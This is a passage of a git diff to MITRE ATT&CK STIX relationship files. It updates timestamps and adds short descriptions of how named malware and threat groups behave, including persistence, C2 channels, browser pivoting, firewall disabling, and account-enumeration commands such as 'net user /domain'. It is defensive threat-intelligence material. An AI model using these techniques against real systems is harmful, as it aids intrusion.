             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot has been known to establish persistence by adding programs to the Run Registry key.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb.json b/enterprise-attack/relationship/relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb.json
index b69a306923..8b820d4b8e 100644
--- a/enterprise-attack/relationship/relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb.json
+++ b/enterprise-attack/relationship/relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ed60042d-fa48-4245-b4b4-0c03ebbfe170",
+    "id": "bundle--aeaae8c6-d931-4f2c-b382-22effe577daa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4",
             "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
diff --git a/enterprise-attack/relationship/relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50.json b/enterprise-attack/relationship/relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50.json
index 902193328c..61bf536b27 100644
--- a/enterprise-attack/relationship/relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50.json
+++ b/enterprise-attack/relationship/relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--52c8abdd-42a1-496f-aef8-18e707ce2603",
+    "id": "bundle--226be946-ea8e-4008-aab7-a6387b014b52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth has been loaded onto Exchange servers and disguised as an ISAPI filter (DLL file). The IIS w3wp.exe process then loads the malicious DLL.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35.json b/enterprise-attack/relationship/relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35.json
new file mode 100644
index 0000000000..f5bb940e8a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--423b235d-2b68-4365-ae15-f2af9a00dc57",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
+            "external_references": [
+                {
+                    "source_name": "cobaltstrike manual",
+                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
+                    "url": "https://cobaltstrike.com/downloads/csmanual38.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c24f1b29-ee7b-4fe6-89be-6b733888a4e6.json b/enterprise-attack/relationship/relationship--c24f1b29-ee7b-4fe6-89be-6b733888a4e6.json
index 59290d8cc8..53b6dde67e 100644
--- a/enterprise-attack/relationship/relationship--c24f1b29-ee7b-4fe6-89be-6b733888a4e6.json
+++ b/enterprise-attack/relationship/relationship--c24f1b29-ee7b-4fe6-89be-6b733888a4e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5ffddcf-fdad-4496-b67b-ceabe14e9640",
+    "id": "bundle--d251a7ad-8350-424c-a95c-3862fb4b9951",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c24f1b29-ee7b-4fe6-89be-6b733888a4e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784",
             "target_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
diff --git a/enterprise-attack/relationship/relationship--c28d6f10-431f-493c-8abd-918240c5c970.json b/enterprise-attack/relationship/relationship--c28d6f10-431f-493c-8abd-918240c5c970.json
index 40b3a981d3..a445484e76 100644
--- a/enterprise-attack/relationship/relationship--c28d6f10-431f-493c-8abd-918240c5c970.json
+++ b/enterprise-attack/relationship/relationship--c28d6f10-431f-493c-8abd-918240c5c970.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0402eb30-ba10-4bbc-878e-ac6151a44d91",
+    "id": "bundle--da501834-2e7e-4ab6-8c94-e27d2b419c8e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c28d6f10-431f-493c-8abd-918240c5c970",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67",
             "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
diff --git a/enterprise-attack/relationship/relationship--c2909563-2b7e-48d6-b165-05b8eff63862.json b/enterprise-attack/relationship/relationship--c2909563-2b7e-48d6-b165-05b8eff63862.json
index 7baa8d36c1..df49c35126 100644
--- a/enterprise-attack/relationship/relationship--c2909563-2b7e-48d6-b165-05b8eff63862.json
+++ b/enterprise-attack/relationship/relationship--c2909563-2b7e-48d6-b165-05b8eff63862.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2245268f-d285-4d7a-ad35-80b6bbf03544",
+    "id": "bundle--cd14e5da-6ace-4a3d-8330-64aab4918885",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c2909563-2b7e-48d6-b165-05b8eff63862",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has collected data from remote systems by mounting network shares with <code>net use</code> and using Robocopy to transfer data.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--c2bd7b04-b090-478a-8e83-6b4656c14bb0.json b/enterprise-attack/relationship/relationship--c2bd7b04-b090-478a-8e83-6b4656c14bb0.json
new file mode 100644
index 0000000000..186a007398
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c2bd7b04-b090-478a-8e83-6b4656c14bb0.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ed1e03a2-c798-4b98-af86-611f56603486",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c2bd7b04-b090-478a-8e83-6b4656c14bb0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly disabled the host-based firewall on a victim and globally opened port 3389.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11.json b/enterprise-attack/relationship/relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11.json
index 76c4349ec5..70d5fcb623 100644
--- a/enterprise-attack/relationship/relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11.json
+++ b/enterprise-attack/relationship/relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7a61fbc-208d-46d8-b862-30325c6d2fb5",
+    "id": "bundle--15db7dba-a6ee-4009-956d-b68544b96fdc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d.json b/enterprise-attack/relationship/relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d.json
index 700b6503f4..e1d9387b8b 100644
--- a/enterprise-attack/relationship/relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d.json
+++ b/enterprise-attack/relationship/relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4cbaffa8-d358-4772-8462-da15423fe953",
+    "id": "bundle--d7090d65-0085-4f14-a222-4726c1bf58b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can communicate to its C2 over HTTP and HTTPS if directed.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86.json b/enterprise-attack/relationship/relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86.json
new file mode 100644
index 0000000000..7df029cadd
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--b15ef3bc-d29a-4ef6-8168-f668bcc4dbca",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\"",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c354d751-4688-49c5-9f9a-0d2bc705f645.json b/enterprise-attack/relationship/relationship--c354d751-4688-49c5-9f9a-0d2bc705f645.json
index 65c4af8cab..51b93e9bb3 100644
--- a/enterprise-attack/relationship/relationship--c354d751-4688-49c5-9f9a-0d2bc705f645.json
+++ b/enterprise-attack/relationship/relationship--c354d751-4688-49c5-9f9a-0d2bc705f645.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8c1278cf-3bf1-4625-9c4e-9ffcb42de73f",
+    "id": "bundle--218335b4-58d0-4e04-b618-cf3b76c3d1ab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c354d751-4688-49c5-9f9a-0d2bc705f645",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
diff --git a/enterprise-attack/relationship/relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1.json b/enterprise-attack/relationship/relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1.json
index 77dae6b9c5..c567aec463 100644
--- a/enterprise-attack/relationship/relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1.json
+++ b/enterprise-attack/relationship/relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63637c29-b518-4c0a-8ade-dfa19a68fb3d",
+    "id": "bundle--9a6fe3ac-5218-4ec4-a511-bce0d76a4c8c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX has beaconed to its C2 over port 443.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--c39e878e-a496-4271-9998-2d5c9511e0a4.json b/enterprise-attack/relationship/relationship--c39e878e-a496-4271-9998-2d5c9511e0a4.json
index 2a18b6de6b..73b7a9aa0c 100644
--- a/enterprise-attack/relationship/relationship--c39e878e-a496-4271-9998-2d5c9511e0a4.json
+++ b/enterprise-attack/relationship/relationship--c39e878e-a496-4271-9998-2d5c9511e0a4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--58a717be-b077-4c62-93af-da021993741f",
+    "id": "bundle--1b5f224f-9172-440c-a5b6-fdf9fcb535d1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c39e878e-a496-4271-9998-2d5c9511e0a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to download and execute additional files.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4.json b/enterprise-attack/relationship/relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4.json
index 0ee8afed6e..fdc0e8a093 100644
--- a/enterprise-attack/relationship/relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4.json
+++ b/enterprise-attack/relationship/relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--76dc6445-84b9-4c78-ba69-42105782e4df",
+    "id": "bundle--ae4e2cce-26a3-4aa7-87c7-c6312ca250dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Group5 disguised its malicious binaries with several layers of obfuscation, including encrypting the files.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
diff --git a/enterprise-attack/relationship/relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd.json b/enterprise-attack/relationship/relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd.json
index 2b6137fe54..2dbf898449 100644
--- a/enterprise-attack/relationship/relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd.json
+++ b/enterprise-attack/relationship/relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--09564c7d-76c2-48ce-bd57-e0fec7174614",
+    "id": "bundle--b8ec67c0-504e-4535-a7d6-af2e93598ff3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe has the capability to create a reverse shell on victims.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
diff --git a/enterprise-attack/relationship/relationship--c3ee174d-fd40-4636-97b2-afe80854f987.json b/enterprise-attack/relationship/relationship--c3ee174d-fd40-4636-97b2-afe80854f987.json
index b3e0934c77..3eb68c8c0c 100644
--- a/enterprise-attack/relationship/relationship--c3ee174d-fd40-4636-97b2-afe80854f987.json
+++ b/enterprise-attack/relationship/relationship--c3ee174d-fd40-4636-97b2-afe80854f987.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2770c88a-a4bc-404e-a661-600b97f66b44",
+    "id": "bundle--67b88684-17b9-4759-ba9b-fead0dc45573",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c3ee174d-fd40-4636-97b2-afe80854f987",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of enumerating and manipulating files and directories.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
diff --git a/enterprise-attack/relationship/relationship--c476a0da-44fd-4492-86ae-407aabab3735.json b/enterprise-attack/relationship/relationship--c476a0da-44fd-4492-86ae-407aabab3735.json
new file mode 100644
index 0000000000..afccb57a7d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c476a0da-44fd-4492-86ae-407aabab3735.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--b9331a17-ca0c-4d4d-ac7a-5290cbeae0d9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c476a0da-44fd-4492-86ae-407aabab3735",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka uses DNS for C2.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e.json b/enterprise-attack/relationship/relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e.json
index 2824a2de6c..80c1334bc5 100644
--- a/enterprise-attack/relationship/relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e.json
+++ b/enterprise-attack/relationship/relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9c20709-f366-4750-9535-d195c115fb1d",
+    "id": "bundle--0b32f982-6940-4908-87df-3fb2a53a2800",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of BlackEnergy creates a new service using either a hard-coded or randomly generated name.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--c4962ae6-91e2-407d-9f42-aa0381574476.json b/enterprise-attack/relationship/relationship--c4962ae6-91e2-407d-9f42-aa0381574476.json
index 59f49392be..c20a9523eb 100644
--- a/enterprise-attack/relationship/relationship--c4962ae6-91e2-407d-9f42-aa0381574476.json
+++ b/enterprise-attack/relationship/relationship--c4962ae6-91e2-407d-9f42-aa0381574476.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65b43eb2-3319-4321-bacf-eeda1f9917bf",
+    "id": "bundle--ce4660a3-b6e2-45fa-9af9-b489de594d20",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--c4962ae6-91e2-407d-9f42-aa0381574476",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "admin@338 actors used the following commands following exploitation of a machine with LOWBALL malware to enumerate user accounts:\n** <code>net user >> %temp%\\download</code>\n** <code>net user /domain >> %temp%\\download</code>",
+            "description": "admin@338 actors used the following commands following exploitation of a machine with LOWBALL malware to enumerate user accounts: <code>net user >> %temp%\\download</code> <code>net user /domain >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521.json b/enterprise-attack/relationship/relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521.json
index 4adf93a095..ba37afb96e 100644
--- a/enterprise-attack/relationship/relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521.json
+++ b/enterprise-attack/relationship/relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d978e7f-8c5a-40fd-9798-571eb73d2ee3",
+    "id": "bundle--cebaad5b-787a-47e3-a78a-329484d56ccd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d.json b/enterprise-attack/relationship/relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d.json
index 9396b012a0..ac5e352b30 100644
--- a/enterprise-attack/relationship/relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d.json
+++ b/enterprise-attack/relationship/relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a5d9a5b9-aff6-4c12-b878-fc53d1c8391b",
+    "id": "bundle--f57eb9f4-85c7-4474-a487-ebb3e3785a6f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT12 has used RIPTIDE, a RAT that uses HTTP to communicate.",
             "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
diff --git a/enterprise-attack/relationship/relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd.json b/enterprise-attack/relationship/relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd.json
new file mode 100644
index 0000000000..2d1af3d357
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e4959081-7f8c-4964-af5c-725a9c80896f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER can download or upload files from its C2 server.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
